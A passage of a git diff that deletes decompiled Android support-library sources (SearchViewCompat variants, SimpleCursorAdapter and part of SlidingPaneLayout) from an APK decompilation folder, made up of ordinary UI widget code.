z) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setQuery(view, charSequence, z); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setQueryHint(View view, CharSequence charSequence) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setQueryHint(view, charSequence); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setIconified(View view, boolean z) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setIconified(view, z); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public boolean isIconified(View view) { - checkIfLegalArg(view); - return SearchViewCompatHoneycomb.isIconified(view); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setSubmitButtonEnabled(View view, boolean z) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setSubmitButtonEnabled(view, z); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public boolean isSubmitButtonEnabled(View view) { - checkIfLegalArg(view); - return SearchViewCompatHoneycomb.isSubmitButtonEnabled(view); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setQueryRefinementEnabled(View view, boolean z) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setQueryRefinementEnabled(view, z); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public boolean isQueryRefinementEnabled(View view) { - checkIfLegalArg(view); - return SearchViewCompatHoneycomb.isQueryRefinementEnabled(view); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setMaxWidth(View view, int i) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setMaxWidth(view, i); - } - - protected void checkIfLegalArg(View view) { - SearchViewCompatHoneycomb.checkIfLegalArg(view); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class SearchViewCompatIcsImpl extends SearchViewCompatHoneycombImpl { - SearchViewCompatIcsImpl() { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatHoneycombImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public View newSearchView(Context context) { - return SearchViewCompatIcs.newSearchView(context); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setImeOptions(View view, int i) { - checkIfLegalArg(view); - SearchViewCompatIcs.setImeOptions(view, i); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setInputType(View view, int i) { - checkIfLegalArg(view); - SearchViewCompatIcs.setInputType(view, i); - } - } - - private SearchViewCompat(Context context) { - } - - public static View newSearchView(Context context) { - return IMPL.newSearchView(context); - } - - public static void setSearchableInfo(View view, ComponentName componentName) { - IMPL.setSearchableInfo(view, componentName); - } - - public static void setImeOptions(View view, int i) { - IMPL.setImeOptions(view, i); - } - - public static void setInputType(View view, int i) { - IMPL.setInputType(view, i); - } - - public static void setOnQueryTextListener(View view, OnQueryTextListener onQueryTextListener) { - IMPL.setOnQueryTextListener(view, onQueryTextListener); - } - - public static void setOnCloseListener(View view, OnCloseListener onCloseListener) { - IMPL.setOnCloseListener(view, onCloseListener); - } - - public static CharSequence getQuery(View view) { - return IMPL.getQuery(view); - } - - public static void setQuery(View view, CharSequence charSequence, boolean z) { - IMPL.setQuery(view, charSequence, z); - } - - public static void setQueryHint(View view, CharSequence charSequence) { - IMPL.setQueryHint(view, charSequence); - } - - public static void setIconified(View view, boolean z) { - IMPL.setIconified(view, z); - } - - public static boolean isIconified(View view) { - return IMPL.isIconified(view); - } - - public static void setSubmitButtonEnabled(View view, boolean z) { - IMPL.setSubmitButtonEnabled(view, z); - } - - public static boolean isSubmitButtonEnabled(View view) { - return IMPL.isSubmitButtonEnabled(view); - } - - public static void setQueryRefinementEnabled(View view, boolean z) { - IMPL.setQueryRefinementEnabled(view, z); - } - - public static boolean isQueryRefinementEnabled(View view) { - return IMPL.isQueryRefinementEnabled(view); - } - - public static void setMaxWidth(View view, int i) { - IMPL.setMaxWidth(view, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompatHoneycomb.java deleted file mode 100644 index 7c38362..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompatHoneycomb.java +++ /dev/null @@ -1,114 +0,0 @@ -package android.support.v4.widget; - -import android.app.SearchManager; -import android.content.ComponentName; -import android.content.Context; -import android.view.View; -import android.widget.SearchView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class SearchViewCompatHoneycomb { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface OnCloseListenerCompatBridge { - boolean onClose(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface OnQueryTextListenerCompatBridge { - boolean onQueryTextChange(String str); - - boolean onQueryTextSubmit(String str); - } - - SearchViewCompatHoneycomb() { - } - - public static void checkIfLegalArg(View view) { - if (view == null) { - throw new IllegalArgumentException("searchView must be non-null"); - } - if (!(view instanceof SearchView)) { - throw new IllegalArgumentException("searchView must be an instance ofandroid.widget.SearchView"); - } - } - - public static View newSearchView(Context context) { - return new SearchView(context); - } - - public static void setSearchableInfo(View view, ComponentName componentName) { - SearchView searchView = (SearchView) view; - searchView.setSearchableInfo(((SearchManager) searchView.getContext().getSystemService("search")).getSearchableInfo(componentName)); - } - - public static Object newOnQueryTextListener(final OnQueryTextListenerCompatBridge onQueryTextListenerCompatBridge) { - return new SearchView.OnQueryTextListener() { // from class: android.support.v4.widget.SearchViewCompatHoneycomb.1 - @Override // android.widget.SearchView.OnQueryTextListener - public boolean onQueryTextSubmit(String str) { - return OnQueryTextListenerCompatBridge.this.onQueryTextSubmit(str); - } - - @Override // android.widget.SearchView.OnQueryTextListener - public boolean onQueryTextChange(String str) { - return OnQueryTextListenerCompatBridge.this.onQueryTextChange(str); - } - }; - } - - public static void setOnQueryTextListener(View view, Object obj) { - ((SearchView) view).setOnQueryTextListener((SearchView.OnQueryTextListener) obj); - } - - public static Object newOnCloseListener(final OnCloseListenerCompatBridge onCloseListenerCompatBridge) { - return new SearchView.OnCloseListener() { // from class: android.support.v4.widget.SearchViewCompatHoneycomb.2 - @Override // android.widget.SearchView.OnCloseListener - public boolean onClose() { - return OnCloseListenerCompatBridge.this.onClose(); - } - }; - } - - public static void setOnCloseListener(View view, Object obj) { - ((SearchView) view).setOnCloseListener((SearchView.OnCloseListener) obj); - } - - public static CharSequence getQuery(View view) { - return ((SearchView) view).getQuery(); - } - - public static void setQuery(View view, CharSequence charSequence, boolean z) { - ((SearchView) view).setQuery(charSequence, z); - } - - public static void setQueryHint(View view, CharSequence charSequence) { - ((SearchView) view).setQueryHint(charSequence); - } - - public static void setIconified(View view, boolean z) { - ((SearchView) view).setIconified(z); - } - - public static boolean isIconified(View view) { - return ((SearchView) view).isIconified(); - } - - public static void setSubmitButtonEnabled(View view, boolean z) { - ((SearchView) view).setSubmitButtonEnabled(z); - } - - public static boolean isSubmitButtonEnabled(View view) { - return ((SearchView) view).isSubmitButtonEnabled(); - } - - public static void setQueryRefinementEnabled(View view, boolean z) { - ((SearchView) view).setQueryRefinementEnabled(z); - } - - public static boolean isQueryRefinementEnabled(View view) { - return ((SearchView) view).isQueryRefinementEnabled(); - } - - public static void setMaxWidth(View view, int i) { - ((SearchView) view).setMaxWidth(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompatIcs.java deleted file mode 100644 index 9da3b33..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompatIcs.java +++ /dev/null @@ -1,35 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.view.View; -import android.widget.SearchView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class SearchViewCompatIcs { - SearchViewCompatIcs() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class MySearchView extends SearchView { - public MySearchView(Context context) { - super(context); - } - - @Override // android.widget.SearchView, android.view.CollapsibleActionView - public void onActionViewCollapsed() { - setQuery("", false); - super.onActionViewCollapsed(); - } - } - - public static View newSearchView(Context context) { - return new MySearchView(context); - } - - public static void setImeOptions(View view, int i) { - ((SearchView) view).setImeOptions(i); - } - - public static void setInputType(View view, int i) { - ((SearchView) view).setInputType(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/SimpleCursorAdapter.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/SimpleCursorAdapter.java deleted file mode 100644 index b9d0e7f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/SimpleCursorAdapter.java +++ /dev/null @@ -1,145 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.database.Cursor; -import android.net.Uri; -import android.view.View; -import android.widget.ImageView; -import android.widget.TextView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class SimpleCursorAdapter extends ResourceCursorAdapter { - private CursorToStringConverter mCursorToStringConverter; - protected int[] mFrom; - String[] mOriginalFrom; - private int mStringConversionColumn; - protected int[] mTo; - private ViewBinder mViewBinder; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface CursorToStringConverter { - CharSequence convertToString(Cursor cursor); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ViewBinder { - boolean setViewValue(View view, Cursor cursor, int i); - } - - @Deprecated - public SimpleCursorAdapter(Context context, int i, Cursor cursor, String[] strArr, int[] iArr) { - super(context, i, cursor); - this.mStringConversionColumn = -1; - this.mTo = iArr; - this.mOriginalFrom = strArr; - findColumns(cursor, strArr); - } - - public SimpleCursorAdapter(Context context, int i, Cursor cursor, String[] strArr, int[] iArr, int i2) { - super(context, i, cursor, i2); - this.mStringConversionColumn = -1; - this.mTo = iArr; - this.mOriginalFrom = strArr; - findColumns(cursor, strArr); - } - - @Override // android.support.v4.widget.CursorAdapter - public void bindView(View view, Context context, Cursor cursor) { - ViewBinder viewBinder = this.mViewBinder; - int[] iArr = this.mTo; - int length = iArr.length; - int[] iArr2 = this.mFrom; - for (int i = 0; i < length; i++) { - View findViewById = view.findViewById(iArr[i]); - if (findViewById != null && (viewBinder == null || !viewBinder.setViewValue(findViewById, cursor, iArr2[i]))) { - String string = cursor.getString(iArr2[i]); - if (string == null) { - string = ""; - } - if (findViewById instanceof TextView) { - setViewText((TextView) findViewById, string); - } else if (findViewById instanceof ImageView) { - setViewImage((ImageView) findViewById, string); - } else { - throw new IllegalStateException(findViewById.getClass().getName() + " is not a view that can be bounds by this SimpleCursorAdapter"); - } - } - } - } - - public ViewBinder getViewBinder() { - return this.mViewBinder; - } - - public void setViewBinder(ViewBinder viewBinder) { - this.mViewBinder = viewBinder; - } - - public void setViewImage(ImageView imageView, String str) { - try { - imageView.setImageResource(Integer.parseInt(str)); - } catch (NumberFormatException unused) { - imageView.setImageURI(Uri.parse(str)); - } - } - - public void setViewText(TextView textView, String str) { - textView.setText(str); - } - - public int getStringConversionColumn() { - return this.mStringConversionColumn; - } - - public void setStringConversionColumn(int i) { - this.mStringConversionColumn = i; - } - - public CursorToStringConverter getCursorToStringConverter() { - return this.mCursorToStringConverter; - } - - public void setCursorToStringConverter(CursorToStringConverter cursorToStringConverter) { - this.mCursorToStringConverter = cursorToStringConverter; - } - - @Override // android.support.v4.widget.CursorAdapter, android.support.v4.widget.CursorFilter.CursorFilterClient - public CharSequence convertToString(Cursor cursor) { - CursorToStringConverter cursorToStringConverter = this.mCursorToStringConverter; - if (cursorToStringConverter != null) { - return cursorToStringConverter.convertToString(cursor); - } - int i = this.mStringConversionColumn; - if (i > -1) { - return cursor.getString(i); - } - return super.convertToString(cursor); - } - - private void findColumns(Cursor cursor, String[] strArr) { - if (cursor != null) { - int length = strArr.length; - int[] iArr = this.mFrom; - if (iArr == null || iArr.length != length) { - this.mFrom = new int[length]; - } - for (int i = 0; i < length; i++) { - this.mFrom[i] = cursor.getColumnIndexOrThrow(strArr[i]); - } - return; - } - this.mFrom = null; - } - - @Override // android.support.v4.widget.CursorAdapter - public Cursor swapCursor(Cursor cursor) { - findColumns(cursor, this.mOriginalFrom); - return super.swapCursor(cursor); - } - - public void changeCursorAndColumns(Cursor cursor, String[] strArr, int[] iArr) { - this.mOriginalFrom = strArr; - this.mTo = iArr; - findColumns(cursor, strArr); - super.changeCursor(cursor); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/SlidingPaneLayout.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/SlidingPaneLayout.java deleted file mode 100644 index ef93caa..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/SlidingPaneLayout.java +++ /dev/null @@ -1,1234 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.content.res.TypedArray; -import android.graphics.Canvas; -import android.graphics.Paint; -import android.graphics.PorterDuff; -import android.graphics.PorterDuffColorFilter; -import android.graphics.Rect; -import android.graphics.drawable.Drawable; -import android.os.Parcel; -import android.os.Parcelable; -import android.support.v4.os.ParcelableCompat; -import android.support.v4.os.ParcelableCompatCreatorCallbacks; -import android.support.v4.view.AbsSavedState; -import android.support.v4.view.AccessibilityDelegateCompat; -import android.support.v4.view.MotionEventCompat; -import android.support.v4.view.ViewCompat; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; -import android.support.v4.widget.ViewDragHelper; -import android.util.AttributeSet; -import android.util.Log; -import android.view.MotionEvent; -import android.view.View; -import android.view.ViewConfiguration; -import android.view.ViewGroup; -import android.view.ViewParent; -import android.view.accessibility.AccessibilityEvent; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class SlidingPaneLayout extends ViewGroup { - private static final int DEFAULT_FADE_COLOR = -858993460; - private static final int DEFAULT_OVERHANG_SIZE = 32; - static final SlidingPanelLayoutImpl IMPL = new SlidingPanelLayoutImplJBMR1(); - private static final int MIN_FLING_VELOCITY = 400; - private static final String TAG = "SlidingPaneLayout"; - private boolean mCanSlide; - private int mCoveredFadeColor; - final ViewDragHelper mDragHelper; - private boolean mFirstLayout; - private float mInitialMotionX; - private float mInitialMotionY; - boolean mIsUnableToDrag; - private final int mOverhangSize; - private PanelSlideListener mPanelSlideListener; - private int mParallaxBy; - private float mParallaxOffset; - final ArrayList mPostedRunnables; - boolean mPreservedOpenState; - private Drawable mShadowDrawableLeft; - private Drawable mShadowDrawableRight; - float mSlideOffset; - int mSlideRange; - View mSlideableView; - private int mSliderFadeColor; - private final Rect mTmpRect; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface PanelSlideListener { - void onPanelClosed(View view); - - void onPanelOpened(View view); - - void onPanelSlide(View view, float f); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SimplePanelSlideListener implements PanelSlideListener { - @Override // android.support.v4.widget.SlidingPaneLayout.PanelSlideListener - public void onPanelClosed(View view) { - } - - @Override // android.support.v4.widget.SlidingPaneLayout.PanelSlideListener - public void onPanelOpened(View view) { - } - - @Override // android.support.v4.widget.SlidingPaneLayout.PanelSlideListener - public void onPanelSlide(View view, float f) { - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface SlidingPanelLayoutImpl { - void invalidateChildRegion(SlidingPaneLayout slidingPaneLayout, View view); - } - - public SlidingPaneLayout(Context context) { - this(context, null); - } - - public SlidingPaneLayout(Context context, AttributeSet attributeSet) { - this(context, attributeSet, 0); - } - - public SlidingPaneLayout(Context context, AttributeSet attributeSet, int i) { - super(context, attributeSet, i); - this.mSliderFadeColor = DEFAULT_FADE_COLOR; - this.mFirstLayout = true; - this.mTmpRect = new Rect(); - this.mPostedRunnables = new ArrayList<>(); - float f = context.getResources().getDisplayMetrics().density; - this.mOverhangSize = (int) ((32.0f * f) + 0.5f); - ViewConfiguration.get(context); - setWillNotDraw(false); - ViewCompat.setAccessibilityDelegate(this, new AccessibilityDelegate()); - ViewCompat.setImportantForAccessibility(this, 1); - ViewDragHelper create = ViewDragHelper.create(this, 0.5f, new DragHelperCallback()); - this.mDragHelper = create; - create.setMinVelocity(f * 400.0f); - } - - public void setParallaxDistance(int i) { - this.mParallaxBy = i; - requestLayout(); - } - - public int getParallaxDistance() { - return this.mParallaxBy; - } - - public void setSliderFadeColor(int i) { - this.mSliderFadeColor = i; - } - - public int getSliderFadeColor() { - return this.mSliderFadeColor; - } - - public void setCoveredFadeColor(int i) { - this.mCoveredFadeColor = i; - } - - public int getCoveredFadeColor() { - return this.mCoveredFadeColor; - } - - public void setPanelSlideListener(PanelSlideListener panelSlideListener) { - this.mPanelSlideListener = panelSlideListener; - } - - void dispatchOnPanelSlide(View view) { - PanelSlideListener panelSlideListener = this.mPanelSlideListener; - if (panelSlideListener != null) { - panelSlideListener.onPanelSlide(view, this.mSlideOffset); - } - } - - void dispatchOnPanelOpened(View view) { - PanelSlideListener panelSlideListener = this.mPanelSlideListener; - if (panelSlideListener != null) { - panelSlideListener.onPanelOpened(view); - } - sendAccessibilityEvent(32); - } - - void dispatchOnPanelClosed(View view) { - PanelSlideListener panelSlideListener = this.mPanelSlideListener; - if (panelSlideListener != null) { - panelSlideListener.onPanelClosed(view); - } - sendAccessibilityEvent(32); - } - - void updateObscuredViewsVisibility(View view) { - int i; - int i2; - int i3; - int i4; - View childAt; - boolean z; - View view2 = view; - boolean isLayoutRtlSupport = isLayoutRtlSupport(); - int width = isLayoutRtlSupport ? getWidth() - getPaddingRight() : getPaddingLeft(); - int paddingLeft = isLayoutRtlSupport ? getPaddingLeft() : getWidth() - getPaddingRight(); - int paddingTop = getPaddingTop(); - int height = getHeight() - getPaddingBottom(); - if (view2 == null || !viewIsOpaque(view)) { - i = 0; - i2 = 0; - i3 = 0; - i4 = 0; - } else { - i = view.getLeft(); - i2 = view.getRight(); - i3 = view.getTop(); - i4 = view.getBottom(); - } - int childCount = getChildCount(); - int i5 = 0; - while (i5 < childCount && (childAt = getChildAt(i5)) != view2) { - if (childAt.getVisibility() == 8) { - z = isLayoutRtlSupport; - } else { - z = isLayoutRtlSupport; - childAt.setVisibility((Math.max(isLayoutRtlSupport ? paddingLeft : width, childAt.getLeft()) < i || Math.max(paddingTop, childAt.getTop()) < i3 || Math.min(isLayoutRtlSupport ? width : paddingLeft, childAt.getRight()) > i2 || Math.min(height, childAt.getBottom()) > i4) ? 0 : 4); - } - i5++; - view2 = view; - isLayoutRtlSupport = z; - } - } - - void setAllChildrenVisible() { - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - View childAt = getChildAt(i); - if (childAt.getVisibility() == 4) { - childAt.setVisibility(0); - } - } - } - - private static boolean viewIsOpaque(View view) { - return view.isOpaque(); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onAttachedToWindow() { - super.onAttachedToWindow(); - this.mFirstLayout = true; - } - - @Override // android.view.ViewGroup, android.view.View - protected void onDetachedFromWindow() { - super.onDetachedFromWindow(); - this.mFirstLayout = true; - int size = this.mPostedRunnables.size(); - for (int i = 0; i < size; i++) { - this.mPostedRunnables.get(i).run(); - } - this.mPostedRunnables.clear(); - } - - @Override // android.view.View - protected void onMeasure(int i, int i2) { - int paddingTop; - int i3; - int i4; - int makeMeasureSpec; - int i5; - int i6; - int makeMeasureSpec2; - int makeMeasureSpec3; - int makeMeasureSpec4; - int mode = View.MeasureSpec.getMode(i); - int size = View.MeasureSpec.getSize(i); - int mode2 = View.MeasureSpec.getMode(i2); - int size2 = View.MeasureSpec.getSize(i2); - if (mode != 1073741824) { - if (!isInEditMode()) { - throw new IllegalStateException("Width must have an exact value or MATCH_PARENT"); - } - if (mode != Integer.MIN_VALUE && mode == 0) { - size = 300; - } - } else if (mode2 == 0) { - if (!isInEditMode()) { - throw new IllegalStateException("Height must not be UNSPECIFIED"); - } - if (mode2 == 0) { - size2 = 300; - mode2 = Integer.MIN_VALUE; - } - } - boolean z = false; - if (mode2 == Integer.MIN_VALUE) { - paddingTop = (size2 - getPaddingTop()) - getPaddingBottom(); - i3 = 0; - } else if (mode2 != 1073741824) { - i3 = 0; - paddingTop = -1; - } else { - i3 = (size2 - getPaddingTop()) - getPaddingBottom(); - paddingTop = i3; - } - int paddingLeft = (size - getPaddingLeft()) - getPaddingRight(); - int childCount = getChildCount(); - if (childCount > 2) { - Log.e(TAG, "onMeasure: More than two child views are not supported."); - } - this.mSlideableView = null; - int i7 = 0; - boolean z2 = false; - int i8 = paddingLeft; - float f = 0.0f; - while (true) { - i4 = 8; - if (i7 >= childCount) { - break; - } - View childAt = getChildAt(i7); - LayoutParams layoutParams = (LayoutParams) childAt.getLayoutParams(); - if (childAt.getVisibility() == 8) { - layoutParams.dimWhenOffset = z; - } else { - if (layoutParams.weight > 0.0f) { - f += layoutParams.weight; - if (layoutParams.width == 0) { - } - } - int i9 = layoutParams.leftMargin + layoutParams.rightMargin; - if (layoutParams.width == -2) { - makeMeasureSpec3 = View.MeasureSpec.makeMeasureSpec(paddingLeft - i9, ExploreByTouchHelper.INVALID_ID); - } else if (layoutParams.width == -1) { - makeMeasureSpec3 = View.MeasureSpec.makeMeasureSpec(paddingLeft - i9, 1073741824); - } else { - makeMeasureSpec3 = View.MeasureSpec.makeMeasureSpec(layoutParams.width, 1073741824); - } - if (layoutParams.height == -2) { - makeMeasureSpec4 = View.MeasureSpec.makeMeasureSpec(paddingTop, ExploreByTouchHelper.INVALID_ID); - } else if (layoutParams.height == -1) { - makeMeasureSpec4 = View.MeasureSpec.makeMeasureSpec(paddingTop, 1073741824); - } else { - makeMeasureSpec4 = View.MeasureSpec.makeMeasureSpec(layoutParams.height, 1073741824); - } - childAt.measure(makeMeasureSpec3, makeMeasureSpec4); - int measuredWidth = childAt.getMeasuredWidth(); - int measuredHeight = childAt.getMeasuredHeight(); - if (mode2 == Integer.MIN_VALUE && measuredHeight > i3) { - i3 = Math.min(measuredHeight, paddingTop); - } - i8 -= measuredWidth; - boolean z3 = i8 < 0; - layoutParams.slideable = z3; - z2 |= z3; - if (layoutParams.slideable) { - this.mSlideableView = childAt; - } - } - i7++; - z = false; - } - if (z2 || f > 0.0f) { - int i10 = paddingLeft - this.mOverhangSize; - int i11 = 0; - while (i11 < childCount) { - View childAt2 = getChildAt(i11); - if (childAt2.getVisibility() != i4) { - LayoutParams layoutParams2 = (LayoutParams) childAt2.getLayoutParams(); - if (childAt2.getVisibility() != i4) { - boolean z4 = layoutParams2.width == 0 && layoutParams2.weight > 0.0f; - int measuredWidth2 = z4 ? 0 : childAt2.getMeasuredWidth(); - if (z2 && childAt2 != this.mSlideableView) { - if (layoutParams2.width < 0 && (measuredWidth2 > i10 || layoutParams2.weight > 0.0f)) { - if (z4) { - if (layoutParams2.height == -2) { - makeMeasureSpec2 = View.MeasureSpec.makeMeasureSpec(paddingTop, ExploreByTouchHelper.INVALID_ID); - i6 = 1073741824; - } else if (layoutParams2.height == -1) { - i6 = 1073741824; - makeMeasureSpec2 = View.MeasureSpec.makeMeasureSpec(paddingTop, 1073741824); - } else { - i6 = 1073741824; - makeMeasureSpec2 = View.MeasureSpec.makeMeasureSpec(layoutParams2.height, 1073741824); - } - } else { - i6 = 1073741824; - makeMeasureSpec2 = View.MeasureSpec.makeMeasureSpec(childAt2.getMeasuredHeight(), 1073741824); - } - childAt2.measure(View.MeasureSpec.makeMeasureSpec(i10, i6), makeMeasureSpec2); - } - } else if (layoutParams2.weight > 0.0f) { - if (layoutParams2.width == 0) { - if (layoutParams2.height == -2) { - makeMeasureSpec = View.MeasureSpec.makeMeasureSpec(paddingTop, ExploreByTouchHelper.INVALID_ID); - } else if (layoutParams2.height == -1) { - makeMeasureSpec = View.MeasureSpec.makeMeasureSpec(paddingTop, 1073741824); - } else { - makeMeasureSpec = View.MeasureSpec.makeMeasureSpec(layoutParams2.height, 1073741824); - } - } else { - makeMeasureSpec = View.MeasureSpec.makeMeasureSpec(childAt2.getMeasuredHeight(), 1073741824); - } - if (z2) { - int i12 = paddingLeft - (layoutParams2.leftMargin + layoutParams2.rightMargin); - i5 = i10; - int makeMeasureSpec5 = View.MeasureSpec.makeMeasureSpec(i12, 1073741824); - if (measuredWidth2 != i12) { - childAt2.measure(makeMeasureSpec5, makeMeasureSpec); - } - i11++; - i10 = i5; - i4 = 8; - } else { - i5 = i10; - childAt2.measure(View.MeasureSpec.makeMeasureSpec(measuredWidth2 + ((int) ((layoutParams2.weight * Math.max(0, i8)) / f)), 1073741824), makeMeasureSpec); - i11++; - i10 = i5; - i4 = 8; - } - } - } - } - i5 = i10; - i11++; - i10 = i5; - i4 = 8; - } - } - setMeasuredDimension(size, i3 + getPaddingTop() + getPaddingBottom()); - this.mCanSlide = z2; - if (this.mDragHelper.getViewDragState() == 0 || z2) { - return; - } - this.mDragHelper.abort(); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onLayout(boolean z, int i, int i2, int i3, int i4) { - int i5; - int i6; - int i7; - int i8; - boolean isLayoutRtlSupport = isLayoutRtlSupport(); - if (isLayoutRtlSupport) { - this.mDragHelper.setEdgeTrackingEnabled(2); - } else { - this.mDragHelper.setEdgeTrackingEnabled(1); - } - int i9 = i3 - i; - int paddingRight = isLayoutRtlSupport ? getPaddingRight() : getPaddingLeft(); - int paddingLeft = isLayoutRtlSupport ? getPaddingLeft() : getPaddingRight(); - int paddingTop = getPaddingTop(); - int childCount = getChildCount(); - if (this.mFirstLayout) { - this.mSlideOffset = (this.mCanSlide && this.mPreservedOpenState) ? 1.0f : 0.0f; - } - int i10 = paddingRight; - for (int i11 = 0; i11 < childCount; i11++) { - View childAt = getChildAt(i11); - if (childAt.getVisibility() != 8) { - LayoutParams layoutParams = (LayoutParams) childAt.getLayoutParams(); - int measuredWidth = childAt.getMeasuredWidth(); - if (layoutParams.slideable) { - int i12 = i9 - paddingLeft; - int min = (Math.min(paddingRight, i12 - this.mOverhangSize) - i10) - (layoutParams.leftMargin + layoutParams.rightMargin); - this.mSlideRange = min; - int i13 = isLayoutRtlSupport ? layoutParams.rightMargin : layoutParams.leftMargin; - layoutParams.dimWhenOffset = ((i10 + i13) + min) + (measuredWidth / 2) > i12; - int i14 = (int) (min * this.mSlideOffset); - i10 += i13 + i14; - this.mSlideOffset = i14 / this.mSlideRange; - i5 = 0; - } else if (!this.mCanSlide || (i6 = this.mParallaxBy) == 0) { - i10 = paddingRight; - i5 = 0; - } else { - i5 = (int) ((1.0f - this.mSlideOffset) * i6); - i10 = paddingRight; - } - if (isLayoutRtlSupport) { - i8 = (i9 - i10) + i5; - i7 = i8 - measuredWidth; - } else { - i7 = i10 - i5; - i8 = i7 + measuredWidth; - } - childAt.layout(i7, paddingTop, i8, childAt.getMeasuredHeight() + paddingTop); - paddingRight += childAt.getWidth(); - } - } - if (this.mFirstLayout) { - if (this.mCanSlide) { - if (this.mParallaxBy != 0) { - parallaxOtherViews(this.mSlideOffset); - } - if (((LayoutParams) this.mSlideableView.getLayoutParams()).dimWhenOffset) { - dimChildView(this.mSlideableView, this.mSlideOffset, this.mSliderFadeColor); - } - } else { - for (int i15 = 0; i15 < childCount; i15++) { - dimChildView(getChildAt(i15), 0.0f, this.mSliderFadeColor); - } - } - updateObscuredViewsVisibility(this.mSlideableView); - } - this.mFirstLayout = false; - } - - @Override // android.view.View - protected void onSizeChanged(int i, int i2, int i3, int i4) { - super.onSizeChanged(i, i2, i3, i4); - if (i != i3) { - this.mFirstLayout = true; - } - } - - @Override // android.view.ViewGroup, android.view.ViewParent - public void requestChildFocus(View view, View view2) { - super.requestChildFocus(view, view2); - if (isInTouchMode() || this.mCanSlide) { - return; - } - this.mPreservedOpenState = view == this.mSlideableView; - } - - @Override // android.view.ViewGroup - public boolean onInterceptTouchEvent(MotionEvent motionEvent) { - boolean z; - View childAt; - int actionMasked = MotionEventCompat.getActionMasked(motionEvent); - if (!this.mCanSlide && actionMasked == 0 && getChildCount() > 1 && (childAt = getChildAt(1)) != null) { - this.mPreservedOpenState = !this.mDragHelper.isViewUnder(childAt, (int) motionEvent.getX(), (int) motionEvent.getY()); - } - if (!this.mCanSlide || (this.mIsUnableToDrag && actionMasked != 0)) { - this.mDragHelper.cancel(); - return super.onInterceptTouchEvent(motionEvent); - } else if (actionMasked == 3 || actionMasked == 1) { - this.mDragHelper.cancel(); - return false; - } else { - if (actionMasked == 0) { - this.mIsUnableToDrag = false; - float x = motionEvent.getX(); - float y = motionEvent.getY(); - this.mInitialMotionX = x; - this.mInitialMotionY = y; - if (this.mDragHelper.isViewUnder(this.mSlideableView, (int) x, (int) y) && isDimmed(this.mSlideableView)) { - z = true; - return this.mDragHelper.shouldInterceptTouchEvent(motionEvent) || z; - } - } else if (actionMasked == 2) { - float x2 = motionEvent.getX(); - float y2 = motionEvent.getY(); - float abs = Math.abs(x2 - this.mInitialMotionX); - float abs2 = Math.abs(y2 - this.mInitialMotionY); - if 